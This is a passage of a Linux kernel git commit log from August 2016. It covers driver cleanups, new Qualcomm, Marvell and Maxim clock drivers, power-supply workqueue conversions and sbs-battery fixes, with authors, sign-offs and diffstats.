to NULL after device_release or on probe failure. Thus, it is not needed to manually clear the device driver data to NULL. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 1 - 1 file changed, 1 deletion(-) commit 5288b6fff17369386e435b6780a00e3e3fd633de Author: Wei Yongjun Date: Mon Aug 15 22:51:29 2016 +0000 net: thunderx: Remove unnecessary pci_set_drvdata() The driver core clears the driver data to NULL after device_release or on probe failure. Thus, it is not needed to manually clear the device driver data to NULL. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/cavium/thunder/thunder_xcv.c | 2 -- 1 file changed, 2 deletions(-) commit 6e22066fd02b675260b980b3e42b7d616a9839c5 Author: Wei Yongjun Date: Mon Aug 15 22:51:04 2016 +0000 net: ena: Fix error return code in ena_device_init() Fix to return a negative error code from the invalid dma width error handling case instead of 0. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/amazon/ena/ena_netdev.c | 1 + 1 file changed, 1 insertion(+) commit 557bc7d44d52d52374bc72e9cc3b0beb41026886 Author: Wei Yongjun Date: Mon Aug 15 22:50:34 2016 +0000 net: ena: Remove unnecessary pci_set_drvdata() The driver core clears the driver data to NULL after device_release or on probe failure. Thus, it is not needed to manually clear the device driver data to NULL. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/amazon/ena/ena_netdev.c | 3 --- 1 file changed, 3 deletions(-) commit 64721094b9a966c8e02d2b03729e5093471f9d1c Author: Wei Yongjun Date: Mon Aug 15 22:34:57 2016 +0000 net: phy: Fix return value check in xgmiitorgmii_probe() In case of error, the function of_parse_phandle() returns NULL pointer not ERR_PTR(). The IS_ERR() test in the return value check should be replaced with NULL test. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/phy/xilinx_gmii2rgmii.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7e6a3a1d79fe9bb9b9daacb59e9b5c35f71570f5 Author: Stephen Boyd Date: Mon Aug 15 16:09:04 2016 -0700 clk: qcom: Sort Makefile alphabetically We've started getting out of order, fix it. Signed-off-by: Stephen Boyd drivers/clk/qcom/Makefile | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit cd1e29a93cde52cb6ed4facfaa865439d5a7b032 Merge: ddf7e53 3e99c7ab Author: Stephen Boyd Date: Mon Aug 15 16:08:49 2016 -0700 Merge branch 'clk-qcom-9615' into clk-next * clk-qcom-9615: dt-bindings: clock: Update bindings for MDM9615 GCC and LCC clk: mdm9615: Add support for MDM9615 Clock Controllers dt-bindings: Add MDM9615 DT bindings include files for GCC and LCC commit 3e99c7ab16af52be826cfd4a8be5b525dd38ccc9 Author: Neil Armstrong Date: Thu Aug 11 14:48:05 2016 +0200 dt-bindings: clock: Update bindings for MDM9615 GCC and LCC Acked-by: Rob Herring Signed-off-by: Neil Armstrong Signed-off-by: Stephen Boyd Documentation/devicetree/bindings/clock/qcom,gcc.txt | 1 + Documentation/devicetree/bindings/clock/qcom,lcc.txt | 1 + 2 files changed, 2 insertions(+) commit b732ace40a1d5ea643ee9c28116e829ae950fe8f Author: Bhaktipriya Shridhar Date: Sat Aug 13 22:06:33 2016 +0530 power: ds2760_battery: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "monitor_wqueue" is used to monitor the battery status. It has been identity converted. It queues multiple work items viz &di->monitor_work, &di->set_charged_work, which require execution ordering. Hence, alloc_workqueue has been used to replace the deprecated create_singlethread_workqueue instance. WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Sebastian Reichel drivers/power/supply/ds2760_battery.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1c53f3709cbc0da9fbf83bb10b2e3633ade05875 Author: Bhaktipriya Shridhar Date: Sat Aug 13 22:05:00 2016 +0530 power: ab8500_fg: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "fg_wq" is used for running the FG algorithm periodically. It has been identity converted. It has multiple work items viz fg_periodic_work, fg_low_bat_work, fg_reinit_work, fg_work, fg_acc_cur_work and fg_check_hw_failure_work, which require execution ordering. Hence, a dedicated ordered workqueue has been used here. The WQ_MEM_RECLAIM flag has been set to guarantee forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Sebastian Reichel drivers/power/supply/ab8500_fg.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 829f0e97cc03b0c834cc5f86ff72b2ec389020ef Author: Bhaktipriya Shridhar Date: Sat Aug 13 22:03:53 2016 +0530 power: ipaq_micro_battery: Remove deprecated create_singlethread_workqueue The workqueue "wq" is used for handling battery related tasks. It has a single work item viz &mb->update and hence it doesn't require execution ordering. Hence, alloc_workqueue has been used to replace the deprecated create_singlethread_workqueue instance. The WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure. Since there is a single work item, explicit concurrency limit is unnecessary here. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Sebastian Reichel drivers/power/supply/ipaq_micro_battery.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9df82628265857e1c491c1ca0ace353e658457ea Author: Bhaktipriya Shridhar Date: Sat Aug 13 21:51:23 2016 +0530 power: ab8500_charger: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "charger_wq" is used for the IRQs and checking HW state of the charger. It has been identity converted. It has multiple work items viz usb_charger_attached_work, kick_wd_work, check_vbat_work, check_hw_failure_work, usb_charger_attached_work, ac_work, ac_charger_attached_work, attach_work and check_usbchgnotok_work, which require execution ordering. Hence, a dedicated ordered workqueue has been used here. The WQ_MEM_RECLAIM flag has also been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Sebastian Reichel drivers/power/supply/ab8500_charger.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 87f818b35c3007d1014541c07688ab29443a22c2 Author: Bhaktipriya Shridhar Date: Sat Aug 13 21:50:11 2016 +0530 power: intel_mid_battery: Remove deprecated create_singlethread_workqueue The workqueue "monitor_wqueue" is used to monitor the PMIC battery status. It queues a single work item (pbi->monitor_battery) and hence doesn't require ordering. Hence, alloc_workqueue has been used to replace the deprecated create_singlethread_workqueue instance. Since PMIC battery status needs to be monitored for any change, the WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure. Since there is a single work item, explicit concurrency limit is unnecessary here. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Sebastian Reichel drivers/power/supply/intel_mid_battery.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit d8a69251fb58a756e2dd00cc5c7f1b54d383e203 Author: Bhaktipriya Shridhar Date: Sat Aug 13 21:48:43 2016 +0530 power: pm2301_charger: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "charger_wq" is used for running all the charger related tasks. This involves charger detection, checking for HW failure and HW status. This workqueue has been identity converted. It queues multiple workitems viz &pm2->check_main_thermal_prot_work, &pm2->check_hw_failure_work, &pm2->ac_work. Hence, the deprecated create_singlethread_workqueue() instance has been replaced with a dedicated ordered workqueue. The WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Sebastian Reichel drivers/power/supply/pm2301_charger.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit a8dd5b6868dd8ecb79f741dd94ac25a46ac19ba4 Author: Bhaktipriya Shridhar Date: Sat Aug 13 21:47:35 2016 +0530 power: ab8500_btemp: Remove deprecated create_singlethread_workqueue The workqueue "btemp_wq" is used for measuring the temperature periodically. It queues a single workitem (btemp_periodic_work) and hence doesn't require ordering. Thus, the deprecated create_singlethread_workqueue() instance has been replaced with alloc_workqueue(). The WQ_MEM_RECLAIM flag has been set to ensure forward progress under memory pressure. Since there is a single work item, explicit concurrency limit is unnecessary here. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Sebastian Reichel drivers/power/supply/ab8500_btemp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0b9992f76f65532be8727977bd6997aa55e1340e Author: Bhaktipriya Shridhar Date: Sat Aug 13 21:46:10 2016 +0530 power: abx500_chargalg: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue() with WQ_MEM_RECLAIM set replaces deprecated create_singlethread_workqueue(). This is the identity conversion. The workqueue "chargalg_wq" is used for running the charging algorithm. It has multiple workitems viz &di->chargalg_periodic_work, &di->chargalg_wd_work, &di->chargalg_work per abx500_chargalg, which require ordering. It has been identity converted. Also, WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Sebastian Reichel drivers/power/supply/abx500_chargalg.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7792a8d6713c33758636c252bd6ff7c8c001de12 Author: Neil Armstrong Date: Thu Aug 11 14:48:04 2016 +0200 clk: mdm9615: Add support for MDM9615 Clock Controllers In order to support the Qualcomm MDM9615 SoC, add support for the Global and LPASS Clock Controllers. Signed-off-by: Neil Armstrong Signed-off-by: Stephen Boyd drivers/clk/qcom/Kconfig | 17 + drivers/clk/qcom/Makefile | 2 + drivers/clk/qcom/gcc-mdm9615.c | 1727 ++++++++++++++++++++++++++++++++++++++++ drivers/clk/qcom/lcc-mdm9615.c | 580 ++++++++++++++ 4 files changed, 2326 insertions(+) commit f7508fedd85e14a9d3c6d4e457231e691618b208 Author: Neil Armstrong Date: Thu Aug 11 14:48:03 2016 +0200 dt-bindings: Add MDM9615 DT bindings include files for GCC and LCC Signed-off-by: Neil Armstrong Signed-off-by: Stephen Boyd include/dt-bindings/clock/qcom,gcc-mdm9615.h | 327 +++++++++++++++++++++++++++ include/dt-bindings/clock/qcom,lcc-mdm9615.h | 52 +++++ include/dt-bindings/reset/qcom,gcc-mdm9615.h | 136 +++++++++++ 3 files changed, 515 insertions(+) commit ddf7e5377bef301158aa45b4c4bbc209c29f2de9 Merge: 5a227cd 33608dc Author: Stephen Boyd Date: Mon Aug 15 15:47:15 2016 -0700 Merge branch 'clk-meson-gxbb' into clk-next * clk-meson-gxbb: clk: gxbb: add MMC gate clocks, and expose for DT commit 33608dcd01d0c0eb3f2442d88c8a97f1195bd2d5 Author: Kevin Hilman Date: Tue Aug 2 14:40:11 2016 -0700 clk: gxbb: add MMC gate clocks, and expose for DT Add the SD/eMMC gate clocks and expose them for use by DT. While at it, also explose FCLK_DIV2 since this is one of the input clocks to the mux internal to each of the SD/eMMC blocks. Signed-off-by: Kevin Hilman Tested-by: Martin Blumenstingl Signed-off-by: Stephen Boyd drivers/clk/meson/gxbb.c | 9 +++++++++ drivers/clk/meson/gxbb.h | 7 +++++-- include/dt-bindings/clock/gxbb-clkc.h | 4 ++++ 3 files changed, 18 insertions(+), 2 deletions(-) commit 5a227cd1ab3693d36ac7a6f1fc4e21a7129f62f0 Author: Laxman Dewangan Date: Fri Jun 17 16:21:07 2016 +0530 clk: max77686: Add support for MAX77620 clocks Maxim Max77620 has one 32KHz clock output and the clock HW IP used on this PMIC is same as what it is there in the MAX77686. Add clock driver support for MAX77620 on the MAX77686 driver. CC: Krzysztof Kozlowski CC: Javier Martinez Canillas Signed-off-by: Laxman Dewangan Tested-by: Krzysztof Kozlowski Reviewed-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Signed-off-by: Stephen Boyd drivers/clk/Kconfig | 7 ++++--- drivers/clk/clk-max77686.c | 18 ++++++++++++++++++ 2 files changed, 22 insertions(+), 3 deletions(-) commit 2ee565c934b7aa3ad84dcc3735fb2359026866a0 Author: Wei Yongjun Date: Sat Aug 13 09:07:07 2016 +0000 power: axp288_charger: remove duplicated include from axp288_charger.c Remove duplicated include. Signed-off-by: Wei Yongjun Acked-by: Chen-Yu Tsai Signed-off-by: Sebastian Reichel drivers/power/supply/axp288_charger.c | 1 - 1 file changed, 1 deletion(-) commit ad7656c75faebb43cf1102756c503668309d666f Author: Wei Yongjun Date: Sat Aug 13 09:06:47 2016 +0000 power: axp288_fuel_gauge: remove duplicated include from axp288_fuel_gauge.c Remove duplicated include. Signed-off-by: Wei Yongjun Acked-by: Chen-Yu Tsai Signed-off-by: Sebastian Reichel drivers/power/supply/axp288_fuel_gauge.c | 1 - 1 file changed, 1 deletion(-) commit 1bbd3d282557cf5e544cc749d577bd7cefe929f4 Author: Wei Yongjun Date: Sat Aug 13 09:06:22 2016 +0000 power: z2_battery: remove .owner field for driver Remove .owner field if calls are used which set it automatically. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Wei Yongjun Signed-off-by: Sebastian Reichel drivers/power/supply/z2_battery.c | 1 - 1 file changed, 1 deletion(-) commit e581245d8aaf897870afacd4aaf2bbce77cf1f1e Author: Laxman Dewangan Date: Fri Jun 17 16:21:06 2016 +0530 clk: max77686: Add DT binding details for PMIC MAX77620 Maxim has used the same clock IP on multiple PMICs like MAX77686, MAX77802, MAX77620. Only differences are the number of clocks from these PMICs like MAX77686 has 3 clocks output, MAX776802 have two clock output and MAX77620 has one clock output. Add clock binding details and DT example for the MAX77620. Signed-off-by: Laxman Dewangan CC: Krzysztof Kozlowski CC: Javier Martinez Canillas Reviewed-by: Javier Martinez Canillas Reviewed-by: Krzysztof Kozlowski Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/maxim,max77686.txt | 52 +++++++++++++++++----- include/dt-bindings/clock/maxim,max77620.h | 21 +++++++++ 2 files changed, 63 insertions(+), 10 deletions(-) commit 24f668debcd9fe774668920c4b8152fab0b5732a Author: Laxman Dewangan Date: Fri Jun 17 16:21:05 2016 +0530 clk: Combine DT binding doc for max77686 and max77802 The clock IP used on the Maxim PMICs max77686 and max77802 are same. The configuration of clock register is also same except the number of clocks. Define the common DT binding file for the clocks of Maxim PMICs MAX77686 and MAX77802. For this, remove the separate DT binding document file for maxim,max77802 and move all information to maxim,max77686 DT binding document. Signed-off-by: Laxman Dewangan CC: Krzysztof Kozlowski CC: Javier Martinez Canillas Acked-by: Rob Herring Reviewed-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/maxim,max77686.txt | 82 ++++++++++++++++------ .../devicetree/bindings/clock/maxim,max77802.txt | 44 ------------ 2 files changed, 59 insertions(+), 67 deletions(-) commit 8ad313fe4e0016bac5dc6a7fbb323b8551977bd9 Author: Laxman Dewangan Date: Fri Jun 17 16:21:04 2016 +0530 clk: max77686: Combine Maxim max77686 and max77802 driver The clock IP used on the Maxim PMICs max77686 and max77802 are same. The configuration of clock register is also same except the number of clocks. Part of common code utilisation, there is 3 files for these chips clock driver, one for common and two files for driver registration. Combine both drivers into single file and move common code into same common file reduces the 2 files and make max77686 and max77802 clock driver in single fine. This driver does not depends on the parent driver structure. The regmap handle is acquired through regmap APIs for the register access. This combination of driver helps on adding clock driver for different Maxim PMICs which has similar clock IP like MAX77620 and MAX20024. Signed-off-by: Laxman Dewangan CC: Krzysztof Kozlowski CC: Javier Martinez Canillas Reviewed-by: Javier Martinez Canillas Tested-by: Javier Martinez Canillas Reviewed-by: Krzysztof Kozlowski Tested-by: Krzysztof Kozlowski Signed-off-by: Stephen Boyd drivers/clk/Kconfig | 15 +-- drivers/clk/Makefile | 2 - drivers/clk/clk-max-gen.c | 194 ----------------------------------- drivers/clk/clk-max-gen.h | 32 ------ drivers/clk/clk-max77686.c | 244 ++++++++++++++++++++++++++++++++++++++++++--- drivers/clk/clk-max77802.c | 96 ------------------ 6 files changed, 234 insertions(+), 349 deletions(-) commit 8dfdd2a8426b71bf85b400d5226c4c6e0fa21781 Author: Bjorn Andersson Date: Wed Aug 3 22:04:06 2016 -0700 power: reset: syscon-reboot-mode: Use managed resource API Use the managed resource version of reboot_mode_register(). Signed-off-by: Bjorn Andersson Tested-by: John Stultz Signed-off-by: Sebastian Reichel drivers/power/reset/syscon-reboot-mode.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) commit c1a9634f1aaf5e10c23f8890ea2e64c61d48cb44 Author: Bjorn Andersson Date: Wed Aug 3 22:04:05 2016 -0700 power: reset: reboot-mode: Add managed resource API Provide managed resource version of reboot_mode_register() and reboot_mode_unregister() to simplify implementations. Signed-off-by: Bjorn Andersson Tested-by: John Stultz Signed-off-by: Sebastian Reichel Documentation/driver-model/devres.txt | 4 +++ drivers/power/reset/reboot-mode.c | 59 +++++++++++++++++++++++++++++++++++ drivers/power/reset/reboot-mode.h | 4 +++ 3 files changed, 67 insertions(+) commit d336e9a71eedb1970b81bc8c042334b70fd4ddf7 Author: Stephen Boyd Date: Fri Aug 12 18:50:23 2016 -0700 clk: fixed-rate: Remove export symbol on setup function This function is only called by builtin code, but we always exported it and had marked it as __init before commit e4eda8e0654c (clk: remove exported function from __init section, 2013-01-06) removed that marking. Given that it isn't used by modules, lets unexport it and add back __init. Cc: Denis Efremov Signed-off-by: Stephen Boyd drivers/clk/clk-fixed-rate.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 1caadde436d230bc37b3caaaef850580c25010e6 Author: Stephen Boyd Date: Fri Aug 12 18:50:22 2016 -0700 clk: fixed-factor: Remove export symbol on setup function This function is marked __init, so it can't possibly need to be exported to modules. Remove the marking. Cc: Gregory CLEMENT Signed-off-by: Stephen Boyd drivers/clk/clk-fixed-factor.c | 1 - 1 file changed, 1 deletion(-) commit f155d15b64e36b45ca89e3521fe0c1ccad5e5ff0 Author: Stephen Boyd Date: Mon Aug 15 14:32:23 2016 -0700 clk: Return errors from clk providers in __of_clk_get_from_provider() Before commit 0861e5b8cf80 (clk: Add clk_hw OF clk providers, 2016-02-05) __of_clk_get_from_provider() would return an error pointer of the provider's choosing if there was a provider registered and EPROBE_DEFER otherwise. After that commit, it would return EPROBE_DEFER regardless of whether or not the provider returned an error. This is odd and can lead to behavior where clk consumers keep probe deferring when they should be seeing some other error. Let's restore the previous behavior where we only return EPROBE_DEFER when there isn't a provider in our of_clk_providers list. Otherwise, return the error from the last provider we find that matches the node. Reported-by: Masahiro Yamada Fixes: 0861e5b8cf80 ("clk: Add clk_hw OF clk providers") Signed-off-by: Stephen Boyd drivers/clk/clk.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 00746f104420e79efb2dd30467a3546c790b30eb Author: Wei Yongjun Date: Mon Aug 8 13:55:20 2016 +0000 clk: gxbb: use builtin_platform_driver to simplify the code Use the builtin_platform_driver() macro to make the code simpler. Signed-off-by: Wei Yongjun Signed-off-by: Stephen Boyd drivers/clk/meson/gxbb.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 957cb720518341abf19009044f240a6342bdd039 Author: Joshua Clayton Date: Thu Aug 11 09:59:12 2016 -0700 sbs-battery: add ability to get battery capacity Battery capacity level is a standard feature of sbs battery That can be used to tell what the remainig battery capacity is, and can tell if the battery has not been calibrated/initialized, which makes the capacity and charging/discharging percentages invalid. Signed-off-by: Joshua Clayton Signed-off-by: Sebastian Reichel drivers/power/supply/sbs-battery.c | 23 ++++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) commit 8ca4746a78abc39cc0496654068eaaadb0f3c4d0 Author: Gregory CLEMENT Date: Tue Jul 19 15:42:22 2016 +0200 clk: mvebu: Add the peripheral clock driver for Armada 3700 These clocks are the ones which will be used as source for the peripherals of the Armada 3700 SoC. On this SoC there is two blocks of clocks: the North bridge one and the South bridge one. Most of them are gatable. Most of the time their rate are their parent rated divided by a ratio depending of two registers. Their parent can be choose between the TBG clocks for most of them. However, some of them can't choose their parent or directly depend of the xtal clocks. Other ones do not use exactly the same pattern to find the ratio between their parent rate and their rate. For these reason each clock is a composite clock and the operations they use are different depending of the clock. According to the datasheet it would be possible to select the parent clock and the ratio, however currently the driver does not support it. Signed-off-by: Gregory CLEMENT Signed-off-by: Stephen Boyd drivers/clk/mvebu/Makefile | 1 + drivers/clk/mvebu/armada-37xx-periph.c | 449 +++++++++++++++++++++++++++++++++ 2 files changed, 450 insertions(+) commit c6d591c14e45e7ca8e158f2e0e5449371e23055c Author: Gregory CLEMENT Date: Tue Jul 19 15:42:21 2016 +0200 dt-bindings: clock: add DT binding for the peripheral clocks on Armada 3700 This commit adds the DT binding documentation for the peripheral clocks used in the Marvell Armada 3700 SoCs. Signed-off-by: Gregory CLEMENT Acked-by: Rob Herring Signed-off-by: Stephen Boyd .../bindings/clock/armada3700-periph-clock.txt | 70 ++++++++++++++++++++++ 1 file changed, 70 insertions(+) commit 96265523ace51b71dc1b2fd445a93c4b2f9bedb8 Author: Gregory CLEMENT Date: Tue Jul 19 15:42:20 2016 +0200 clk: mvebu Add the time base generator clocks for Armada 3700 These clocks are children of the xtal clock and each one can be selected as a source for the peripheral clocks. According to the datasheet it should be possible to modify their rate, but currently it is not supported. Signed-off-by: Gregory CLEMENT Signed-off-by: Stephen Boyd drivers/clk/mvebu/Makefile | 1 + drivers/clk/mvebu/armada-37xx-tbg.c | 158 ++++++++++++++++++++++++++++++++++++ 2 files changed, 159 insertions(+) commit c302588e17d084408210a45a0fa6243978a0f785 Author: Gregory CLEMENT Date: Tue Jul 19 15:42:19 2016 +0200 dt-bindings: clock: add DT binding for the TBG clocks on Armada 3700 This commit adds the DT binding documentation for the Time Base Generator clock used in the Marvell Armada 3700 SoCs. Signed-off-by: Gregory CLEMENT Acked-by: Rob Herring Signed-off-by: Stephen Boyd .../bindings/clock/armada3700-tbg-clock.txt | 27 ++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit 7ea8250406a6abe2f057c2096249c63b788b728f Author: Gregory CLEMENT Date: Tue Jul 19 15:42:18 2016 +0200 clk: mvebu: Add the xtal clock for Armada 3700 SoC This clock is the parent of all the Armada 3700 clocks. It is a fixed rate clock which depends on the gpio configuration read when resetting the SoC. Signed-off-by: Gregory CLEMENT Signed-off-by: Stephen Boyd drivers/clk/mvebu/Kconfig | 3 ++ drivers/clk/mvebu/Makefile | 1 + drivers/clk/mvebu/armada-37xx-xtal.c | 91 ++++++++++++++++++++++++++++++++++++ 3 files changed, 95 insertions(+) commit cedfbc309d62f8f029dc0c3b926452cc84796023 Author: Gregory CLEMENT Date: Tue Jul 19 15:42:17 2016 +0200 dt-bindings: clock: add DT binding for the Xtal clock on Armada 3700 This commit adds the DT binding documentation for the the Xtal clock on Armada 3700 used in the Marvell Armada 3700 SoCs. Signed-off-by: Gregory CLEMENT Acked-by: Rob Herring Signed-off-by: Stephen Boyd .../bindings/clock/armada3700-xtal-clock.txt | 28 ++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit cfaace269d0ce5a4ae26bfe442f1c4df1a9558de Author: Colin Ian King Date: Mon Aug 15 13:55:17 2016 +0100 net: hns: mdio->irq is an array, so no need to check if it is null The null check on mdio->irq is redundant since mdio->irq is an array of PHY_MAX_ADDR ints and hence can never be null. Remove the redundant check. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hns/hns_dsaf_mac.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 2eb03e6c4e305b71bdd2d0ce4250b9c9099d9128 Author: Or Gerlitz Date: Mon Aug 15 14:51:54 2016 +0300 switchdev: Put export declaration in the right place Move exporting of switchdev_port_same_parent_id to be right below it and not elsewhere. Signed-off-by: Or Gerlitz Reported-by: Ido Schimmel Signed-off-by: David S. Miller net/switchdev/switchdev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f759b640c7219c99e19f0a42c6e086a19d2e2a17 Author: Neil Armstrong Date: Sun Jul 10 11:11:06 2016 +0200 ARM64: dts: amlogic: meson-gxbb: Add watchdog node Signed-off-by: Neil Armstrong Reviewed-by: Guenter Roeck Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 6 ++++++ 1 file changed, 6 insertions(+) commit a2956ecdc6a47374642ed7f1838ca978a82f5e93 Merge: 54be3d9 525ef5c Author: David S. Miller Date: Mon Aug 15 13:34:52 2016 -0700 Merge branch 'qed-janitorial' Yuval Mintz says: ==================== qed*: Janitorial series [semantic & prints] Some day 1 slips in coding style exist in the qed* code [incorrect alignments, conditions using (== 0), etc.]. This series comes to address those, and do some additional cosmetic changes along the way [such as reducing the number of lines for function declerations]. The series is broken to 3 parts - purely semantic changes, cosmetic changes that required minor changes in the code, and print-related changes. All-in-all, no real change in driver behavior is expected. [This is a repost; Original was sent when net-next closed]. Please consider applying this to `net-next'. ==================== Signed-off-by: David S. Miller commit 525ef5c07f187bf0918fdf3bbc76ad18ce1d1cf9 Author: Yuval Mintz Date: Mon Aug 15 10:42:45 2016 +0300 qed*: Add and modify some prints This patch touches various prints in the driver - it reduces the verbosity of some prints [which were previously logged by default] while adding several new debug prints and modifying others. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_dev.c | 10 +++++++--- drivers/net/ethernet/qlogic/qed/qed_int.c | 8 ++++++-- drivers/net/ethernet/qlogic/qed/qed_main.c | 21 +++++++++++++++------ drivers/net/ethernet/qlogic/qed/qed_mcp.c | 7 ++++--- drivers/net/ethernet/qlogic/qed/qed_spq.c | 11 +++++++++-- drivers/net/ethernet/qlogic/qede/qede_main.c | 20 ++++++++++++-------- 6 files changed, 53 insertions(+), 24 deletions(-) commit 83aeb9339f4859c587d0ad3d80d225b520db047e Author: Yuval Mintz Date: Mon Aug 15 10:42:44 2016 +0300 qed*: Trivial modifications Change qed* code in trivial manner; This isn't necessarily semantic-only, but the end result is the same, i.e., no change should occur from user perspective. Changes include: - Using temporary variables to better fit 80-character restrictions. - Removal of unused variables & code with no effect. [plus some additional minor modifications]. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_dev.c | 11 +++++---- drivers/net/ethernet/qlogic/qed/qed_init_ops.c | 14 +++++------- drivers/net/ethernet/qlogic/qed/qed_int.c | 11 ++------- drivers/net/ethernet/qlogic/qed/qed_l2.c | 31 ++++++++++++-------------- drivers/net/ethernet/qlogic/qed/qed_mcp.c | 4 +--- drivers/net/ethernet/qlogic/qede/qede_main.c | 3 --- 6 files changed, 28 insertions(+), 46 deletions(-) commit 1a635e488ecf6fcae00bffda61707b63bc1aacbe Author: Yuval Mintz Date: Mon Aug 15 10:42:43 2016 +0300 qed*: Semantic changes Make semantic-only adjustments to qed* drivers, such as: - Changes in code indentation. - Usage of BIT() macro. - re-naming of variables. - Re-ordering of variable declerations. - Removal of (== 0) and (!= 0) in conditions. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_cxt.c | 47 ++--- drivers/net/ethernet/qlogic/qed/qed_dev.c | 96 ++++------ drivers/net/ethernet/qlogic/qed/qed_hw.c | 137 ++++++-------- drivers/net/ethernet/qlogic/qed/qed_init_ops.c | 79 +++----- drivers/net/ethernet/qlogic/qed/qed_int.c | 113 ++++-------- drivers/net/ethernet/qlogic/qed/qed_l2.c | 210 ++++++++++------------ drivers/net/ethernet/qlogic/qed/qed_main.c | 13 +- drivers/net/ethernet/qlogic/qed/qed_mcp.c | 67 +++---- drivers/net/ethernet/qlogic/qed/qed_sp_commands.c | 15 +- drivers/net/ethernet/qlogic/qed/qed_spq.c | 84 ++++----- drivers/net/ethernet/qlogic/qed/qed_sriov.c | 56 +++--- drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 6 +- drivers/net/ethernet/qlogic/qede/qede_main.c | 121 +++++-------- 13 files changed, 404 insertions(+), 640 deletions(-) commit 492ff9d8f5fa6ad44288050238b7961d457a239d Author: Phil Reid Date: Mon Jul 25 10:42:59 2016 +0800 power: sbs-battery: Use devm_power_supply_register Use devm_power_supply_register instead of power_supply_register. Remove call to power_supply_unregister. Signed-off-by: Phil Reid Signed-off-by: Sebastian Reichel drivers/power/supply/sbs-battery.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit d2cec82c28802da31596b395ad292cb8f132fd63 Author: Phil Reid Date: Mon Jul 25 10:42:58 2016 +0800 power: sbs-battery: Request threaded irq and fix dev callback cookie Currently the battery detect gpio can not be used with a chained interrupt controller that requires threaded irq handlers. Use threaded irq instead. In addition this was not going to be working at present because chip->power_supply is assigned after the request irq call. Signed-off-by: Phil Reid Signed-off-by: Sebastian Reichel drivers/power/supply/sbs-battery.c | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) commit 9239a86f0976b58d3da7a2261ed659ac9eba0f25 Author: Phil Reid Date: Mon Jul 25 10:42:57 2016 +0800 power: sbs-battery: Use devm_kzalloc to alloc data Use devm_kzalloc to allow memory to be freed automatically on driver probe failure or removal. Signed-off-by: Phil Reid Signed-off-by: Sebastian Reichel drivers/power/supply/sbs-battery.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 889d5f1baca698a4510174cdd6a6596997d0deb4 Author: Martin Brandenburg Date: Mon Aug 15 15:33:42 2016 -0400 orangefs: g_orangefs_stats -> orangefs_stats for consistency Signed-off-by: Martin Brandenburg fs/orangefs/file.c | 6 +++--- fs/orangefs/orangefs-kernel.h | 3 +-- fs/orangefs/orangefs-mod.c | 2 +- fs/orangefs/orangefs-sysfs.c | 4 ++-- 4 files changed, 7 